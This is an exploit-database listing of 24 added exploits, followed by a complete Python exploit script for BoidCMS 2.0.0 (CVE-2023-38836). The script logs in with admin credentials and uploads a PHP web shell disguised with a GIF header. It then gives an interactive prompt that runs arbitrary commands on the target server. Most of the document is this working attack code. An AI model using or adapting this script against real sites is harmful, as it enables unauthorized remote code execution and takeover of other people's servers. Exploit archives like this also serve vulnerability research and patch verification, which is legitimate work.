f3649a641f
24 changes to exploits/shellcodes/ghdb Minio 2022-07-29T19-40-48Z - Path traversal Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service Atcom 2.7.x.x - Authenticated Command Injection Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE) Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Credentials Extraction OpenPLC WebServer 3 - Denial of Service Splunk 9.0.5 - admin account take over BoidCMS v2.0.0 - authenticated file upload vulnerability Cacti 1.2.24 - Authenticated command injection when using SNMP options Chitor-CMS v1.1.2 - Pre-Auth SQL Injection Clcknshop 1.0.0 - SQL Injection Coppermine Gallery 1.6.25 - RCE Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) GLPI GZIP(Py3) 9.4.5 - RCE Limo Booking Software v1.0 - CORS Media Library Assistant Wordpress Plugin - RCE and LFI Online ID Generator 1.0 - Remote Code Execution (RCE) Shuttle-Booking-Software v1.0 - Multiple-SQLi Webedition CMS v2.9.8.8 - Blind SSRF WEBIGniter v28.7.23 File Upload - Remote Code Execution Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation Wordpress Sonaar Music Plugin 4.7 - Stored XSS Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
64 lines
No EOL
1.8 KiB
Python
Executable file
64 lines
No EOL
1.8 KiB
Python
Executable file
#!/usr/bin/python3
|
|
# Exploit Title: BoidCMS v2.0.0 - authenticated file upload vulnerability
|
|
# Date: 08/21/2023
|
|
# Exploit Author: 1337kid
|
|
# Vendor Homepage: https://boidcms.github.io/#/
|
|
# Software Link: https://boidcms.github.io/BoidCMS.zip
|
|
# Version: <= 2.0.0
|
|
# Tested on: Ubuntu
|
|
# CVE : CVE-2023-38836
|
|
|
|
import requests
|
|
import re
|
|
import argparse
|
|
|
|
parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')
|
|
parser.add_argument("-u", "--url", help="website url")
|
|
parser.add_argument("-l", "--user", help="admin username")
|
|
parser.add_argument("-p", "--passwd", help="admin password")
|
|
args = parser.parse_args()
|
|
base_url=args.url
|
|
user=args.user
|
|
passwd=args.passwd
|
|
|
|
def showhelp():
|
|
print(parser.print_help())
|
|
exit()
|
|
if base_url == None: showhelp()
|
|
elif user == None: showhelp()
|
|
elif passwd == None: showhelp()
|
|
|
|
with requests.Session() as s:
|
|
req=s.get(f'{base_url}/admin')
|
|
token=re.findall('[a-z0-9]{64}',req.text)
|
|
form_login_data={
|
|
"username":user,
|
|
"password":passwd,
|
|
"login":"Login",
|
|
}
|
|
form_login_data['token']=token
|
|
s.post(f'{base_url}/admin',data=form_login_data)
|
|
#=========== File upload to RCE
|
|
req=s.get(f'{base_url}/admin?page=media')
|
|
token=re.findall('[a-z0-9]{64}',req.text)
|
|
form_upld_data={
|
|
"token":token,
|
|
"upload":"Upload"
|
|
}
|
|
#==== php shell
|
|
php_code=['GIF89a;\n','<?php system($_GET["cmd"]) ?>']
|
|
with open('shell.php','w') as f:
|
|
f.writelines(php_code)
|
|
#====
|
|
file = {'file' : open('shell.php','rb')}
|
|
s.post(f'{base_url}/admin?page=media',files=file,data=form_upld_data)
|
|
req=s.get(f'{base_url}/media/shell.php')
|
|
if req.status_code == '404':
|
|
print("Upload failed")
|
|
exit()
|
|
print(f'Shell uploaded to "{base_url}/media/shell.php"')
|
|
while 1:
|
|
cmd=input("cmd >> ")
|
|
if cmd=='exit': exit()
|
|
req=s.get(f'{base_url}/media/shell.php',params = {"cmd": cmd})
|
|
print(req.text) |